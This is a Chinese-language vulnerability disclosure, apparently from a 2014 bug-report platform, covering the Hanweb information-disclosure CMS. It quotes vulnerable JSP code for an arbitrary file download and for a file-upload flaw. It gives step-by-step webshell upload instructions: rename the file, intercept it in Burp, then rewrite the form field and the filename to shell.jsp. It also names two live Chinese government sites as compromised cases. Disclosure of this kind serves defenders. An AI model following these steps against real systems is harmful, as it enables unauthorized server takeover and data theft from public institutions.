### 简要描述: 大汉版通系统可以再次getshell,外加一处任意文件下载 ### 详细说明: 注:该系统为信息公开系统(xxgk) 另外这个漏洞同样比较有意思,不知道程序员的逻辑是什么.. #1 任意文件下载 ``` /xxgk/m_5_7/replace/export.jsp ``` 代码为 ``` <%@page contentType="text/html;charset=iso8859-1"%> <%@page import="jcms.util.DownFile"%> <%@page import="com.hanweb.common.util.Convert"%> <% //原文件名 String strFileName = Convert.getParameter(request, "filename"); strFileName = strFileName == null ? "" : strFileName; //要保存的文件名 String downloadname = Convert.getParameter(request, "savename"); downloadname = new String(downloadname.getBytes("UTF-8"), "8859_1"); if (!DownFile.getFile(strFileName, downloadname, response, "UTF-8")) { out .println(Convert .getAlterScript("alert('下载失败!');")); } %> ``` 可以看出filename和savename直接get提交,SO.. #2 getshell ``` /xxgk/m_5_7/replace/opr_importinfo.jsp ``` 产生漏洞的代码为 ``` <% //... // 表单变量初始化 String strTpl_i_ID = ""; String strTpl_fn_billstatus = "S";//初始化操作状态 // 基本变量初始化 String strFilePath = ""; String strFileName = ""; strFilePath =...
### 简要描述: 大汉版通系统可以再次getshell,外加一处任意文件下载 ### 详细说明: 注:该系统为信息公开系统(xxgk) 另外这个漏洞同样比较有意思,不知道程序员的逻辑是什么.. #1 任意文件下载 ``` /xxgk/m_5_7/replace/export.jsp ``` 代码为 ``` <%@page contentType="text/html;charset=iso8859-1"%> <%@page import="jcms.util.DownFile"%> <%@page import="com.hanweb.common.util.Convert"%> <% //原文件名 String strFileName = Convert.getParameter(request, "filename"); strFileName = strFileName == null ? "" : strFileName; //要保存的文件名 String downloadname = Convert.getParameter(request, "savename"); downloadname = new String(downloadname.getBytes("UTF-8"), "8859_1"); if (!DownFile.getFile(strFileName, downloadname, response, "UTF-8")) { out .println(Convert .getAlterScript("alert('下载失败!');")); } %> ``` 可以看出filename和savename直接get提交,SO.. #2 getshell ``` /xxgk/m_5_7/replace/opr_importinfo.jsp ``` 产生漏洞的代码为 ``` <% //... // 表单变量初始化 String strTpl_i_ID = ""; String strTpl_fn_billstatus = "S";//初始化操作状态 // 基本变量初始化 String strFilePath = ""; String strFileName = ""; strFilePath = application.getRealPath("") + "/m_5_7/replace/temp/"; Jcms_ReplaceBLF blf = new Jcms_ReplaceBLF(sys); // 保存状态 -- 新增S或者更新B if (strBillStatus.equals("S")) { //创建文件路径 Convert.createDirectory(strFilePath); String strMsg = ""; String strIllMsg = ""; //上传图片 CommonUploadFile upload = new CommonUploadFile(strFilePath, ""); SysInit.init(); if (SysInit.m_strImportNoFileType == null) { upload.setM_Notfiletype("exe,com,bat,php,asp,php3,phtml,jsp,aspx"); } else { upload.setM_Notfiletype(SysInit.m_strImportNoFileType); } boolean bResult = upload.uploadFile(request); return; String strUpFileName = ""; if (bResult) { String[] strFiles = upload.getAllFileName(); jcms.filter.FilterWordParse parse = new jcms.filter.FilterWordParse(); File file; Vector vReplace = new Vector(); Hashtable ht; for (int i = 0; i < strFiles.length; i++) { strUpFileName = strFilePath + strFiles[i]; file = new File(strUpFileName); if (!file.exists()) { com.hanweb.common.log.LogWriter.debug("文件不存在!"); continue; } } ``` 上述代码有以下几个关键点 ``` 1.上传文件保存的路径 strFilePath = application.getRealPath("") + "/m_5_7/replace/temp/"; 2.限制上传文件类型(黑名单不靠谱) upload.setM_Notfiletype("exe,com,bat,php,asp,php3,phtml,jsp,aspx"); ``` 另外上传文件做了客户端验证(客户端同样不靠谱,直接bypass) 对于关键点2,经过多次测试验证发现,这段代码并没有起到任何作用,直接无视即可.. #3 漏洞验证 由于网上有大量的实例,任意选取几个案例进行测试验证.. First:首先将我们要上传的文件改名为shell.xml,之后抓包再改回来.. 在验证之前简单说下比较有意思的地方,当我们点击上传的时候,采用Burp suite抓包修改,提交即可,如图 [<img src="https://images.seebug.org/upload/201405/18212847171cde11162507d1d668302e174c7c1d.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/18212847171cde11162507d1d668302e174c7c1d.jpg) 上图中有两处需要修改的地方: ``` Content-Disposition: form-data; name="file1"; filename="shell.xml" 修改为: Content-Disposition: form-data; name="file3"; filename="shell.jsp" 注意:name必须修改为非file1,要不然无法成功上传(这里就是我觉得比较有意思的地方) ``` 提交后会就会在 /m_5_7/replace/temp/ 目录下生成shell.jsp 案例一: ``` http://xxgk.weifang.gov.cn/xxgk/m_5_7/replace/opr_importinfo.jsp?fn_billstatus=1 ``` [<img src="https://images.seebug.org/upload/201405/182135086448d60ed0c65abf50e107cfcba28eaf.jpg" alt="11.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/182135086448d60ed0c65abf50e107cfcba28eaf.jpg) 案例二: ``` http://xxgk.lyg.gov.cn//xxgk/m_5_7/replace/opr_importinfo.jsp?fn_billstatus=1 ``` [<img src="https://images.seebug.org/upload/201405/18213706adce641a7195b78049c73c41843b0a8d.jpg" alt="22.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/18213706adce641a7195b78049c73c41843b0a8d.jpg) ### 漏洞证明: #证明 案例一: ``` http://xxgk.weifang.gov.cn/xxgk/m_5_7/replace/opr_importinfo.jsp?fn_billstatus=1 ``` [<img src="https://images.seebug.org/upload/201405/182135086448d60ed0c65abf50e107cfcba28eaf.jpg" alt="11.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/182135086448d60ed0c65abf50e107cfcba28eaf.jpg) 案例二: ``` http://xxgk.lyg.gov.cn//xxgk/m_5_7/replace/opr_importinfo.jsp?fn_billstatus=1 ``` [<img src="https://images.seebug.org/upload/201405/18213706adce641a7195b78049c73c41843b0a8d.jpg" alt="22.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/18213706adce641a7195b78049c73c41843b0a8d.jpg)